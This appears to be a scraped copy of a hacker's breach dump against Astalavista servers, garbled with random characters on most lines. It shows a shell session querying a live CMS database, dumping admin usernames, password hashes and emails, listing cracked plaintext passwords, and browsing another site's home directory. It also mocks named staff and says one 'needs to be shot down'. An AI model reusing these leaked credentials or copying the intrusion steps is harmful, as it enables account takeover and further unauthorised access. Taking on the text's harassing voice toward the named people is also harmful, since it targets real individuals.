, N3 Y! r8 r; T <description>All availably Exploits.</description>
1 P) u9 t: r3 L# m' }1 ]4 Q7 | <language>en-us</language>
. T, n# H# e- |- v; C# ] <lastBuildDate>’ . date(’F, j M Y H:i:s O’) . ‘</lastBuildDate>
4 S+ e2 Y( G' X U8 c <docs>http://blogs.law.harvard.edu/tech/rss</docs>
" l( n4 d! x0 [ <generator>Astalavista.com</generator>
* w8 W8 X: X& n' m! D1 o <webMaster>info@astalavista.com</webMaster>’ . $items . ‘
' N D6 h, l2 }: g9 l0 [4 i8 T </channel> |8 ?' o9 ~: B- u, ?
</rss>’;
: Z* {! A3 a i: k& ~
, \' ^+ ^$ K6 G/ p if (file_exists(FULLPATH . ‘/feed/exploits.xml’)) {
$ s8 x0 p) f# L/ ]$ Z5 \: [ unlink (FULLPATH . ‘/feed/exploits.xml’);
2 S4 |4 ~, g& E. y6 H$ G& } }
; A4 n o5 C2 T4 l9 i# T# E2 D1 k$ f
. N: \- q( y& c( V file_put_contents(FULLPATH . ‘/feed/exploits.xml’, $xml);8 H4 c7 K# ~* }1 b9 b) M4 v
[snip]
2 U; V. i+ Z9 G+ ?1 l7 U. T
2 ]# q. f/ s) a3 l& J' n" v. ~sh-3.2$ cat exploits.sh5 {" L4 g! t1 a# C! t8 `
#!/bin/sh/ x/ e" z! i/ n
. P* S5 \( ^& p* ^6 c- u2 c2 y$ j###########################################################- C+ s1 e9 M# ~8 }; ^
# #
3 U+ n! s1 u9 F# Title: milw0rm exploits adder #
2 p! o; ?! N! [# Description: Add all milw0rm exploits to the #
" O2 S1 V0 f: x: d7 t# Astalavista.com database #3 n6 D4 Z! @+ W- z: H
# #0 k& g+ R6 o$ B% E3 A. X8 Z
# Company: Astalavista Group #* m) J3 M# H+ G0 J8 \) Z2 Q9 N
# Author: Paulo M. Santos #9 x. d% l# g) c
# E-Mail: 链接标记paulo.santos@astalavista.ch #5 b- w9 [5 i. o" R+ @% {9 a/ F
# #' G& r: s. R/ v" a: c4 y% C0 z- [
###########################################################
6 }& n5 t$ z, D' O/ @5 T( G8 n
' X) q/ \8 g y: _% ` C) _% \# path3 o, z0 i1 Y( t' i6 g
this_path=/home/com/public_html/modifications/cronjobs L7 W$ U; e9 N0 k9 S( D* P
. [. O. E' V( t* J! ]& |0 I
# change directory2 F0 ?+ t7 H) t8 z }5 I8 T
cd $this_path
( n, m: h! x) n" C4 D. k4 O8 \cd tmp/
9 e7 ]4 l! Q( @7 f( W5 \4 D n. W1 y- `% P, F. W
# delete files
% _1 y; T6 K, m! B" ?9 g2 nrm -rf milw0rm.tar.* &
$ w/ U5 m! E7 w K' k# N; E' P# J1 {rm -rf milw0rm/ &
: Z3 ?7 [! x5 i! r) }1 @( R8 n h; C5 S& Q2 L2 ]" u3 X
# wget milw0rm paket
' N$ l/ ]+ w! x$ K6 _wget 链接标记[url]http://www.milw0rm.com/sploits/milw0rm.tar.bz2[/url]# c* v2 [' Q1 | E( ^& k
! g! c( v9 s$ N7 V4 k& B
# extract milw0rm paket
5 v( b) Q# h$ Y5 H' l$ rtar -xvf milw0rm.tar.bz25 q9 Q& G$ h7 `+ N
! G2 O, \+ ^) M, Q3 i+ W* S* C# change owner% j( t2 Q! h1 J# r8 N* o, P( Y# ?
chown -R com .
5 U8 ^5 c" V& c: f5 Lchgrp -R com .
% o4 c8 r* @! t. L+ ` v8 S" L7 a9 ^9 P' g# E0 j5 W0 r4 C& Q
# execute php script% B% J: s0 k! b* G) D7 ]
cd $this_path7 ]9 v* T; r+ W ^3 D/ j, S2 Q: s! h
php -q exploits.php
$ _6 z" a) O7 {+ m( g' L6 M2 H9 w2 x7 ~6 ` W3 v
# delete files
. [; [ y" G3 m* @rm -rf tmp/milw0rm.tar.*
9 o5 E+ z/ ?. f8 S. [! Rrm -rf tmp/milw0rm/; Z2 w. ]/ T/ Y) p. }% [
* T* R! y N6 _sh-3.2$ echo “Paulo M. Santos needs to be shot down.”1 M; \( j- ^$ y
Paulo M. Santos needs to be shot down.1 u& s, V0 E/ D. Q0 g) I
0 r' s6 e( t( Z3 vmysql -u contrexxuser2 -p1 ~ j) p' a/ @! t* w% O
Enter password:
0 r7 d9 f( O" _9 ^, pWelcome to the MySQL monitor. Commands end with ; or \g.
; X; J: [! O1 `" i1 t; IYour MySQL connection id is 2616944 ^& B/ l0 w7 P9 R+ O4 H
Server version: 5.0.45-community-log MySQL Community Edition (GPL)* N0 S) Y. [% O1 e
( Z4 ~" @. T& C% I0 Z5 fType ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.- ` b; H0 v8 n, x4 T2 N5 C+ X
% P0 K7 V/ \% g1 T; Y8 K1 N6 v) r) J
mysql> show databases;
. w/ {- Q" D9 H: k( B, g" P+——————–+
" s4 Z2 V% b+ b( g5 ?| Database |. }$ q; `+ R5 h/ K# L7 I; w3 x' O
+——————–+
* s6 s; A Y* A3 N3 l! r/ ^' O& D| information_schema |- s# R: B& B- x; Z- p
| com_contrexx2 | s, a( A) }& D5 Y: I1 a0 Y
| com_contrexx2_live |
- K9 I8 C& Q5 n3 _% A| test |
5 `1 G9 e/ `/ F" ~( q/ j) y+——————–+2 K& I/ D- h5 Y1 o3 U1 P: D
4 rows in set (0.00 sec); ]! `$ k1 F# @5 o
! D1 o& p6 p/ A3 d- L( M6 qmysql> use com_contrexx2_live4 c+ b. Q; o2 C" w
Database changed
; y1 l1 C( g! h$ vmysql> show tables;
# _) ], s& L- L& J" v+————————————————–+
8 j* n( S6 m$ n8 A! R+ Y9 z6 `| Tables_in_com_contrexx2_live |
+ K0 z' o7 W8 j+————————————————–+6 s- I6 R2 M. b I2 m
| cc_banner_counter |
- ~$ n. P# J. R| cc_search_counter |
" E9 I/ _' Y$ T$ c| contrexx_access_group_dynamic_ids |* _6 j7 u1 l" e }% t
| contrexx_access_group_static_ids |
: K) l+ ?0 ?+ V" ~2 @| contrexx_access_rel_user_group | N! Z0 |+ J+ ?0 S
| contrexx_access_settings |# g* A1 m# R& C4 Y5 ~, h2 d! ^. Q
| contrexx_access_user_attribute |0 [& p$ j* ?& w& _
| contrexx_access_user_attribute_name |- ?9 N/ @5 b, F
| contrexx_access_user_attribute_value |
+ k I, }4 v. \- t| contrexx_access_user_core_attribute |
2 f5 }; `0 d- l| contrexx_access_user_groups |
6 t+ j0 C4 e0 {& h% g| contrexx_access_user_mail |/ w9 j( ]) p" ~8 y2 v
| contrexx_access_user_profile |
7 T6 G7 e( `; Q| contrexx_access_user_title |
4 {4 M! Q. f) u5 B3 } A| contrexx_access_user_validity |" B! V0 x! w8 \; k: K6 q
| contrexx_access_users |
, ~1 v$ ]$ K0 I& I| contrexx_backend_areas |
3 }/ |" V9 j2 m. d$ e' g8 G9 ~| contrexx_backups |, q0 ?& k+ j! t! a& \
| contrexx_content |; }' _) z: J' B
| contrexx_content_history |
, ~' I; ^7 D2 l- o( T| contrexx_content_logfile |6 E+ k. v5 S2 e8 T& [2 J5 A4 s+ [
| contrexx_content_navigation |
0 J; Y" D1 w( _7 d6 ^+ x| contrexx_content_navigation_history |/ y$ }; l6 J3 m! Z% c
| contrexx_ids |
& v- I: j2 Z: r6 I* A; n( m$ R- N| contrexx_languages |6 p0 b& [; y' O7 D4 t
| contrexx_lib_country |& s7 r% h, b3 s
| contrexx_log |- P/ n# k5 P. Y1 q O1 L+ a7 s
| contrexx_module_alias_source | e9 T q& m! Y2 Z# z( R
| contrexx_module_alias_target |/ I- @( h7 L% H2 l
| contrexx_module_block_blocks |
; G/ W- O3 u+ o& Z2 q# \8 o| contrexx_module_block_rel_lang |% y$ C9 r" k+ l' N. a' z
| contrexx_module_block_rel_pages |) x! ?' ^! k8 P
| contrexx_module_block_settings |4 Q0 q: @/ f6 K* I% o0 B5 l
| contrexx_module_blog_categories |9 a( {' L8 a% _
| contrexx_module_blog_comments |
: t7 q" u: c3 E [6 [| contrexx_module_blog_message_to_category |9 I# R% y9 U& M4 ~! k
| contrexx_module_blog_messages |' Y( @4 F/ I+ X$ ~& A4 @ ~1 Q* E
| contrexx_module_blog_messages_lang |
( z6 h) E3 B2 W: w# W| contrexx_module_blog_networks |
3 }# o0 u3 Q* n. v' x| contrexx_module_blog_networks_lang |% q. M! s% z" q% @ c. G
| contrexx_module_blog_settings |
- W! j5 _/ s+ y, B) V+ m3 N| contrexx_module_blog_votes |% C, k7 F4 w# J
| contrexx_module_calendar |
# D8 Q4 a$ N; Z4 J+ E| contrexx_module_calendar_access |- D: o2 s4 b/ m" A
| contrexx_module_calendar_categories |8 | X6 f. E9 g/ M
| contrexx_module_calendar_form_data |
: o6 q0 b. c# W; o, f; E+ J| contrexx_module_calendar_form_fields |, c% [& G, {9 h A1 c2 ^6 O9 Q
| contrexx_module_calendar_registrations |
8 X& n7 [; H2 ?% R: ~| contrexx_module_calendar_settings |6 U' \0 b u4 `. s9 k
| contrexx_module_calendar_style | p4 W1 b( \, p4 W V) Z
| contrexx_module_contact_form |
( L$ P# K1 ]. O| contrexx_module_contact_form_data |
- V3 }; X9 @1 T, Y| contrexx_module_contact_form_field |
; @7 Y7 \6 P9 b| contrexx_module_contact_settings |4 o' }5 h: p9 H# n: g
| contrexx_module_data_categories |
$ o H7 g6 R( V9 O: Q2 W7 C| contrexx_module_data_message_to_category |
$ S8 @- w- H$ r0 R% t. R| contrexx_module_data_messages |
% v* k3 D2 {$ x) n; v: ?; q: n| contrexx_module_data_messages_lang |1 o5 V6 O9 X) E$ `# w" G
| contrexx_module_data_placeholders |
; D0 @/ F( O. G4 D$ S7 ?8 r| contrexx_module_data_settings |5 _* h/ h0 s6 |
| contrexx_module_directory_access |) E0 @! ?$ ]0 R2 R' G$ h& V* O# R
| contrexx_module_directory_categories |
- k7 B* ^2 Z6 p8 s| contrexx_module_directory_dir |
7 ~( X- o- U* H6 Y8 [| contrexx_module_directory_inputfields |1 i: }5 z) a' @) k, c7 G. |+ j
| contrexx_module_directory_levels |
6 Z/ [+ f' P/ t6 O8 B| contrexx_module_directory_mail |
* N$ ?3 L# `2 e# l) ]| contrexx_module_directory_rel_dir_cat | L- V6 B& V# Q& x: Y" b5 v
| contrexx_module_directory_rel_dir_level |6 I+ o& _) M7 X' L; @8 L: _
| contrexx_module_directory_settings |
7 d% r4 Q# N8 G0 O| contrexx_module_directory_settings_google |& H; G$ X n1 ^) m6 y: R
| contrexx_module_directory_vote |
z, l8 v0 p. a# x| contrexx_module_docsys |
4 {1 d& ]9 i0 ^% @' j/ i| contrexx_module_docsys_categories |
9 w# x6 H8 j- `- i. ~+ T4 O5 E+ L' w. W| contrexx_module_egov_configuration |
( ]6 ~9 T9 p: x: u7 K" x| contrexx_module_egov_orders |3 S5 g% p, |, N, C. T
| contrexx_module_egov_product_calendar |3 H& [7 j( B+ V$ a9 l5 U2 y8 r3 J# p
| contrexx_module_egov_product_fields |
$ E) ?( S$ V3 z* D+ L+ t+ i9 }+ R| contrexx_module_egov_products |
; j. a+ G0 C) |! ]6 l: q| contrexx_module_egov_settings |' k$ u$ V) @3 m/ ~& B1 Q/ W& c
| contrexx_module_exploits |: _3 I3 e/ r& a% i8 `7 \, v: u
| contrexx_module_exploits_categories |
3 O, A5 h1 I; R; S! R( J| contrexx_module_feed_category |
6 q6 i& H; b3 z6 c| contrexx_module_feed_news |
+ B$ N# X" `6 F# H| contrexx_module_feed_newsml_association |( w8 v/ |- G3 ]: e
| contrexx_module_feed_newsml_categories |
. t1 R: e. u7 E, J/ y| contrexx_module_feed_newsml_documents |
' s6 K: X8 b' e/ g/ O: g) u| contrexx_module_feed_newsml_providers |7 W! X4 a7 @% L8 U2 K
| contrexx_module_forum_access |! x2 Q1 ?. J" Y& a9 G, i
| contrexx_module_forum_categories |, y/ B$ w. |7 ^/ L5 N( s; ^
| contrexx_module_forum_categories_lang |
9 T6 ^; O& p6 O- c- W% n9 h* E| contrexx_module_forum_notification |
& f0 h- R- A& v$ J# i% h) u8 z| contrexx_module_forum_postings |4 n. J9 v. e% \! |; N4 @/ O4 X- h
| contrexx_module_forum_rating |
4 F( U' e; @# O- E2 R- [| contrexx_module_forum_settings |
2 a, z' N$ L' o. z) s( [| contrexx_module_forum_statistics |7 B4 W8 p0 v- B/ T4 ~. _
| contrexx_module_gallery_categories |0 E4 c" Q/ {" ?) e z
| contrexx_module_gallery_comments |
; @* G3 a2 p$ i1 ]3 _4 ?| contrexx_module_gallery_language |$ w) U( f9 b6 l; u
| contrexx_module_gallery_language_pics |2 \' w% m. x( d* ~
| contrexx_module_gallery_pictures |
I/ R, \" A. i! }, j| contrexx_module_gallery_settings |! Y" F2 ~2 Q0 b! D
| contrexx_module_gallery_votes |
' T; V1 C4 W2 q- ` s| contrexx_module_guestbook |$ D( N4 _& s) g! d& e7 z% |$ y0 b
| contrexx_module_guestbook_settings |7 I% i( |0 r* o' [
| contrexx_module_livecam |; Z1 ?& R, L7 h* w, t: z
| contrexx_module_livecam_settings |
5 ]8 _9 R+ z c; {: s+ Q| contrexx_module_market |7 Z" ~! s' O( F! ] `- G$ }; F
| contrexx_module_market_access |
" @% u6 A8 ~$ Q4 K ^| contrexx_module_market_categories |+ F' u1 w0 S' f- t$ p# ^$ ~
| contrexx_module_market_mail |
& P4 m' M7 [& \ || contrexx_module_market_paypal |
# c4 Z( X8 O8 u+ G| contrexx_module_market_settings |9 V: g" M2 B" V# i/ b
| contrexx_module_market_spez_fields |
) D9 E: q$ c% T0 w$ G4 U| contrexx_module_mediadir_access |
1 J* C! v9 t" W| contrexx_module_mediadir_categories |, E6 k9 g& \" p' i6 z. W/ U
| contrexx_module_mediadir_comments |+ x: Y n; |. V1 C9 m# L
| contrexx_module_mediadir_dir |$ T' o6 a5 B* j) W( T
| contrexx_module_mediadir_inputfields |) t+ C# H0 q, C/ O" e
| contrexx_module_mediadir_levels |3 _! V4 a' q7 i: Z
| contrexx_module_mediadir_mail |. T, H* r% z7 D) k- Q' i3 t1 N# @
| contrexx_module_mediadir_rel_dir_cat |# N% F* ]8 Q2 q, w4 N; l, k
| contrexx_module_mediadir_rel_dir_level |
8 o' w9 |, g3 p; w8 f6 ]. L| contrexx_module_mediadir_reports |
8 K8 u6 W4 w0 I% p| contrexx_module_mediadir_settings |! ~" i! L# R. n8 f+ V3 A4 S- @
| contrexx_module_mediadir_settings_google |+ o O* v0 _6 C$ e) Y& U
| contrexx_module_mediadir_vote |
; }7 s' \7 e& w- O| contrexx_module_memberdir_directories |
- z o8 b E; p4 m+ b# l+ a7 A| contrexx_module_memberdir_name |. _& O. R0 m2 X7 E! g
| contrexx_module_memberdir_settings |
) S, `- S1 }$ V" f0 P' _* q i& f| contrexx_module_memberdir_values |* n9 S9 _0 k3 y* J0 E" M: L
| contrexx_module_nettools_allowed_groups |
& ~0 h' l% `" B# C6 U! Q| contrexx_module_nettools_settings |
+ \! j+ {; M! ?# z3 x' R3 R+ y" n| contrexx_module_news |' d! {5 \( ]7 K
| contrexx_module_news_access |
3 A3 `8 j4 ?. U; Z6 c6 c| contrexx_module_news_categories | n8 S, }5 B; q
| contrexx_module_news_settings |
: j7 s6 a& V! J| contrexx_module_news_teaser_frame |
X* C( a" a( U( h6 G; T. Z| contrexx_module_news_teaser_frame_templates |1 w0 b' L" x6 e& D. l7 ?+ N
| contrexx_module_news_ticker |+ w$ f6 Q6 B3 H
| contrexx_module_newsletter |
; m" h3 m3 z2 F$ d* f! |+ w q| contrexx_module_newsletter_attachment |
; R' ]7 I, {; I. A| contrexx_module_newsletter_category |- t1 S }% v' X" C1 Q. t) ^
| contrexx_module_newsletter_confirm_mail |
7 w& C5 ?' e! F) I| contrexx_module_newsletter_rel_cat_news |6 r9 O: {) s5 l
| contrexx_module_newsletter_rel_user_cat |
" S a2 J6 N" s4 v: d| contrexx_module_newsletter_settings |- |9 d: J( s4 s0 E- o
| contrexx_module_newsletter_template |) J. z* a* A& X) D
| contrexx_module_newsletter_tmp_sending |' r+ X) L, b/ ~
| contrexx_module_newsletter_user |
, ?9 q5 O% M0 ], d| contrexx_module_newsletter_user_title |/ B- ^# S+ c+ ]- C; I
| contrexx_module_onlinetools_defaultports |% n X- \) x, w: m
| contrexx_module_onlinetools_defaultports_back |1 d$ Z+ u1 B( m5 J; C V# t X( m! ]1 V
| contrexx_module_onlinetools_geolitecity_blocks |7 B4 O7 @$ J9 ]2 t* g
| contrexx_module_onlinetools_geolitecity_country |! R" ?/ q8 c' ~ A: Y7 J* Z5 g
| contrexx_module_onlinetools_geolitecity_location |' X' n8 l8 [' B: Y2 I
| contrexx_module_podcast_category |
R X( d; N8 X+ D- N2 D| contrexx_module_podcast_medium |
8 d9 d7 D) O3 ~. N z| contrexx_module_podcast_rel_category_lang |0 d' P5 _3 O$ n! n% T' t
| contrexx_module_podcast_rel_medium_category |6 q9 A% _6 R+ N- Y& M
| contrexx_module_podcast_settings |
7 ^& M3 X6 m7 g3 j6 l| contrexx_module_podcast_template |5 l# |7 m& v! u2 {
| contrexx_module_proxydb |9 X$ w& j- X) [7 ~) k4 ?
| contrexx_module_recommend |7 b) w8 s h0 i5 {$ B( T, x
| contrexx_module_repository |
% ^9 K% w0 @1 B, W* z9 n| contrexx_module_securitynews_cats |3 z- J' x3 K9 u+ R: f
| contrexx_module_securitynews_feeds |
s; V$ q0 S# p5 W. }- m; L| contrexx_module_securitynews_news |; T0 |, x, E$ T# I( H! Q8 ]
| contrexx_module_shop_categories |' [* y2 t, S* l9 Z4 h! a# M C
| contrexx_module_shop_config |
& Q( c& d: T) `( s5 }9 o( i| contrexx_module_shop_countries |
! {/ k, n4 \1 ?8 _| contrexx_module_shop_currencies |
% ?4 Z2 m# q9 Q ?2 K) `| contrexx_module_shop_customers |8 z0 X0 N% W7 L8 |) B& K& [
| contrexx_module_shop_importimg |
. P2 y v) e, E3 c n| contrexx_module_shop_lsv |
7 ]6 _0 ?8 b4 ^7 p5 S| contrexx_module_shop_mail |
) i8 Y6 O) {- D& H9 J% s5 v| contrexx_module_shop_mail_content |
, p/ F7 ?5 x; c: }| contrexx_module_shop_manufacturer |6 h( P% P- B. W' A5 n! e% E
| contrexx_module_shop_order_items |& X8 v% S/ c% Z
| contrexx_module_shop_order_items_attributes |
8 z. k/ t$ W+ [: _; J) x l# f- q6 X* g| contrexx_module_shop_orders |: `1 w5 I b. {! g1 d% U
| contrexx_module_shop_payment |
~1 }% p, X# g& B3 L/ Z) r| contrexx_module_shop_payment_processors |
4 t+ v% w/ R" U% l+ d/ ~| contrexx_module_shop_pricelists |+ g0 `, n6 y R
| contrexx_module_shop_products |
3 M0 Y w" R% T: C| contrexx_module_shop_products_attributes |- Q! p8 \0 Y% m0 U5 |8 X& Z( d m
| contrexx_module_shop_products_attributes_name |! P( A1 T, |6 x3 ?9 @
| contrexx_module_shop_products_attributes_value |. e8 \; o# b. A5 v* g& \
| contrexx_module_shop_products_downloads |
& k8 C1 S: m- w6 {7 i| contrexx_module_shop_rel_countries |
/ S/ |* N4 X, u$ }: H| contrexx_module_shop_rel_payment |
& }- S0 h. w. E( i| contrexx_module_shop_rel_shipment |
' G# j/ ] v; s| contrexx_module_shop_shipment_cost |
1 I+ ]$ g& q( t9 K4 G0 Y9 A3 m| contrexx_module_shop_shipper |
+ h8 m" U f/ K. ?& s- t2 u| contrexx_module_shop_vat |
3 E6 y% U$ A- _1 C( ^8 e- K3 o0 \3 t" K2 |3 o| contrexx_module_shop_zones |
[( l: [: m; t1 b% }" {* R| contrexx_module_u2u_address_list |( h* @9 c5 Y9 ?! u
| contrexx_module_u2u_message_log |
" c$ W w& T. ^# n| contrexx_module_u2u_sent_messages |0 B- {' I0 s. U
| contrexx_module_u2u_settings |
+ q9 b. p& f# n6 j! i| contrexx_module_u2u_user_log |
' a9 B \' \- B4 a8 t| contrexx_modules |
4 _8 `& `3 X) G2 H: s) C/ p| contrexx_sessions |( O+ v8 M, h& j" v
| contrexx_settings |
" A: R6 [+ h. f3 W3 H: G7 i0 [| contrexx_settings_smtp |
) {- w) J; Z- a9 e$ x' _" v* y| contrexx_skins |
9 ^6 Z/ W) r) {| contrexx_stats_browser |
" B% K9 O, e$ P4 n' {$ o| contrexx_stats_colourdepth |3 j& C# M: O: f. Y
| contrexx_stats_config |
8 p9 u2 [" r9 D2 M/ y6 b| contrexx_stats_country |' |' F V1 w, Q
| contrexx_stats_hostname |
& x. ~4 h% ?! \6 P$ q4 E| contrexx_stats_javascript |
0 B2 ~! C3 ~4 P9 I| contrexx_stats_operatingsystem |4 e3 F0 q: W& o1 j5 b
| contrexx_stats_referer |' N6 l. B, R$ N6 I$ y& @' `/ }- {7 L/ |
| contrexx_stats_requests |5 A% Q, V( B: q, H& F% v; b
| contrexx_stats_requests_summary |# u( e2 t7 C2 j2 T {( w
| contrexx_stats_screenresolution |. p: R' i# J! z0 P0 h# {4 q8 x
| contrexx_stats_search |
; \ C* ~ x+ X4 x7 R- V9 ~| contrexx_stats_spiders |- J* i6 x9 u7 [$ g& @, y' I9 V8 Y
| contrexx_stats_spiders_summary |
6 K' @7 U( k1 l4 r| contrexx_stats_visitors |
, |: Z1 N% {0 J# N| contrexx_stats_visitors_summary |
: {; G. S: g+ c8 d/ t l! z( m| contrexx_voting_additionaldata |
& {$ Q8 ^$ U! B| contrexx_voting_email |& p2 F. X% r' f( z1 L B' W7 W4 K
| contrexx_voting_rel_email_system |
4 a* u; Q* i3 j6 _$ a: u1 ]8 w2 C3 N| contrexx_voting_results |
8 N w, n/ g* S; @- L2 r* V/ D| contrexx_voting_system |
1 _2 Y# E# i' S" L, e| foo |
5 \7 B. X% L$ P0 l0 g. t+————————————————–+5 a6 A8 ], D; J: N
227 rows in set (0.01 sec)
% o0 ?* @9 z8 V0 s: S G) n* q
: B5 ~( v# I& R2 l7 D @mysql> select count(*) as skids from contrexx_access_users;
- q6 S! {8 M' q) T+——-+' a( L/ H( ^# J% l5 v6 g% x/ F( C
| skids |
" [# O% Y' Y+ a' j, S2 |+——-+
, q0 Y, q2 k3 _$ D4 K& @9 B| 53699 |
- c; Y9 Z+ B: _+——-+: X& A1 T2 `- L2 z0 i
1 row in set (0.00 sec)
$ D6 K+ \: w/ D" Q, k8 H" m/ i& T9 Y: s
mysql> describe contrexx_access_users;
7 |3 U. h9 v" M4 C+——————+——————————————+——+—–+————–+—————-+
# D+ A6 s& M( K' D# b9 G| Field | Type | Null | Key | Default | Extra |
, e k" x; v+ p/ s8 w6 L+——————+——————————————+——+—–+————–+—————-+
' {& {$ v/ C, S4 P2 s0 Y# X| id | int(10) unsigned | NO | PRI | NULL | auto_increment |3 a' |! _. T0 e5 V; _
| is_admin | tinyint(1) unsigned | NO | | 0 | |) F5 l Y) N1 ~$ Z9 T( P
| username | varchar(40) | YES | MUL | NULL | |
; ]2 Z d+ U& ^7 {3 b5 q* b| password | varchar(32) | YES | | NULL | | N# b% t% {' f' p& n
| regdate | int(14) unsigned | NO | | 0 | |
; H; _: @ q8 A n8 p( g6 u| expiration | int(14) unsigned | NO | | 0 | |
- g( p# j, x _| validity | int(10) unsigned | NO | | 0 | |9 a/ m" Y0 |8 K% F4 k
| last_auth | int(14) unsigned | NO | | 0 | |5 P& ^% q. O( R w
| last_activity | int(14) unsigned | NO | | 0 | |/ C7 p- [& a! X- M% ~3 {
| email | varchar(255) | YES | | NULL | |; T+ R5 X6 n3 } i8 G$ [
| email_access | enum(’everyone’,'members_only’,'nobody’) | NO | | nobody | |3 l2 g4 Q' y% o3 p# s( w8 x
| frontend_lang_id | int(2) unsigned | NO | | 0 | |- z9 w7 Z& w2 N3 V, X
| backend_lang_id | int(2) unsigned | NO | | 0 | |
6 }/ _8 X3 y; @; _* R| active | tinyint(1) | NO | | 0 | |
* Q3 \9 [% h; t1 D, [| profile_access | enum(’everyone’,'members_only’,'nobody’) | NO | | members_only | |
a8 N, _6 g+ M7 s+ U7 G5 ^/ g| restore_key | varchar(32) | NO | | | |5 Q2 ]1 R( L% ?- t) U; w
| restore_key_time | int(14) unsigned | NO | | 0 | |
7 N7 T% @; k: q% I| u2u_active | enum(’0′,’1′) | NO | | 1 | |
. K+ T6 A, r. R0 U1 A+——————+——————————————+——+—–+————–+—————-+1 K) T( m! F( X
18 rows in set (0.00 sec)' v; _; D0 T1 b) z) U! }; U
! M: P+ b" p5 q5 A v0 u- z+ @) {
mysql> select username,password,email from contrexx_access_users where is_admin = 1;% v' T/ h, E* b: Y6 M7 x; J7 i* w% O
+————+———————————-+—————————–+9 C8 ^" C9 @$ L
| username | password | email |
{/ y! Z, Q8 `0 Y$ ~+ L+————+———————————-+—————————–+# u6 ~& M8 i& t
| system | 0defe9e458e745625fffbc215d7801c5 | 链接标记info@comvation.com |
: d0 P6 Z0 z3 j' I! T; b; ~, z: i! C| prozac | 1f65f06d9758599e9ad27cf9707f92b5 | 链接标记prozac@astalavista.com |* z7 J r. h) g ^
| Be1er0ph0r | 78d164dc7f57cc142f07b1b4629b958a | 链接标记paulo.santos@astalavista.ch |" ^7 o" i, f% F0 j4 k f# |
| schmid | 0defe9e458e745625fffbc215d7801c5 | 链接标记ivan.schmid@comvation.com |5 |7 ~5 R9 s2 _
+————+———————————-+—————————–+0 q t W/ E4 p
4 rows in set (0.04 sec) g7 s( W" m: K' L
7 A5 K$ X1 g6 V$ V+ ~% Nmysql> exit;
0 W5 E% {/ G3 q: tBye
8 S9 x- p- Q# G2 O/ x( V* p, ?4 u* p7 {3 z4 Q- ]( Z! X5 L3 B$ B: }3 k$ S5 B
[~] There you go, your “team of security and IT professionals” is a joke.- \0 u. n. h! }! }
' m1 n, j3 }* ?; t9 W+——————————+' F, t6 E, v0 d F
system:f82BN3+_*
7 Q( J4 p. F. _# R3 n8 X) iBe1er0ph0r:belerophor4astacom
8 s, g+ O5 x3 Q9 q- Eprozac:asta4cms!. C' X2 P4 q. _) P8 W
commander:mpbdaagf6m9 f6 M4 u9 U# e7 T3 y# N
sykadul:ak29eral$ o3 F" d* p4 L/ }2 z
+——————————+7 J6 @5 W8 J& N) x5 q- |* R
/ J* ], d! M+ w& U* c0 e/ m
[~] Paulo M. Santos AKA Be1er0ph0r needs to be shot down for his milw0rm ripping script(s)
2 s: u" T, J8 h…and the others, find another area to get paid from, security isn’t for sale and you obviously fail at it.' } S/ |9 [' D& W1 d
8 w9 l/ s7 p: \9 G7 ]; F% _
[~] Lets move to astalavista.net now,
& h; W' [0 _/ j
& ?5 F0 F. N# R6 A% e8 [From <链接标记[url]https://www.astalavista.net/[/url]>:
( G# p7 _' }4 D4 Y$ D: l9 u5 J>> Everyone knows that the best defense is a good offense.1 m& l5 ?9 S& P
>> Those who wait for their foes to find a security loophole are opting for the wrong strategy.2 B5 U! _: t0 v' q
>> The ASTALAVISTA hacking & security community is the largest IT security community in the world.
' ]2 y3 c4 z$ F( Y( x>> It.s a platform for both IT specialists and novices, and anyone interested in expanding and updating their knowledge regarding IT security and hacking.”
9 o+ U' \$ k3 t+ w
' {) Z3 t! s) x$ F" H% I- u0 [+ r>> Go ahead, try and hack our server . in a completely legal way!4 {( v4 D# O4 M% O1 u6 ~
>> Learn by doing: We offer our members tricky tasks and challenges on an
$ g* E5 [; i1 C5 E3 B; F) A>> ongoing basis so you can test your knowledge and abilities. You can also
% o a q' d. r% v, h$ y6 [>> demonstrate what you.ve mastered by taking part in regular hacker contests- R8 U) B0 k: C, {6 @( E
>> and war games
* |' ?* R; d( o- |
3 e, }0 [+ _1 @% v* x. o[~] Lets take a look there, after all… they are hack-proof, aren’t they?!3 h. O4 S R2 i, A) x! F
. _; W6 u$ Q2 s$ f9 B. n
[-] Tricky task: Find home dir of astalavista.net1 J# V3 S* P, |# p2 C+ `
5 J9 Z: ~# p7 U0 v9 X/ Gsh-3.2$ ls -la ~astanet
4 y, V" ~2 v9 e+ [total 48) a8 A0 o" G* K% p# x
drwx–x–x 6 astanet astanet 4096 Dec 23 15:55 .
4 g- I5 a# ?6 _: u, v. b5 B2 m+ Tdrwxr-xr-x 14 root root 4096 Mar 11 17:56 ..2 Q! G: b, ~# n' y
drwxr-xr-x 2 root root 4096 Dec 23 16:00 auth
& V" X8 ~- L. O* x: q-rw——- 1 astanet astanet 3892 Apr 16 12:14 .bash_history
8 W6 C+ p+ k3 L5 t ~-rw-r–r– 1 astanet astanet 33 Dec 17 21:50 .bash_logout
9 f$ p: |( w( v5 R! j0 V* I5 V! W-rw-r–r– 1 astanet astanet 176 Dec 17 21:50 .bash_profile
: s ]2 i7 a0 ~6 q& V-rw-r–r– 1 astanet astanet 124 Dec 17 21:50 .bashrc
9 Z( F) D& J) Hdrwx–x–x 3 astanet astanet 4096 Dec 23 12:18 domains& K. K( v) z/ Z! L' r; t' i7 w" i
drwxrwx— 3 astanet mail 4096 Dec 23 12:18 imap+ R) z6 E9 [+ {1 Z# C3 x" p/ u
drwx—— 2 astanet astanet 4096 Dec 23 12:18 mail* {1 m4 ?- ^ A: g2 e. L- }
lrwxrwxrwx 1 astanet astanet 37 Dec 23 12:18 public_html -> ./domains/astalavista.net/public_html0 X9 U/ D/ v8 C$ L, A
-rw-r—– 1 astanet mail 34 Dec 22 12:41 .shadow
' ^, D/ g3 j, S) ^# B
5 o- K6 Q3 S4 C+ `2 N5 s" i- [9 vsh-3.2$ cd /home/astanet/domains/astalavista.net/private_html/1 q4 J' A2 |4 Y/ V7 [6 N
sh-3.2$ ls -la( m! C% G g8 l% ]+ W
total 200. K9 I& K: t/ V; x) b3 A( u3 H
drwxr-x— 29 astanet apache 4096 Jan 6 13:58 .+ k, E7 ~; C2 n$ ?: ~ n' r
drwx–x–x 8 astanet astanet 4096 Dec 23 13:53 ../ n) I# h' j0 D( ~: y
drwxr-xr-x 3 astanet astanet 4096 Dec 27 2006 _007
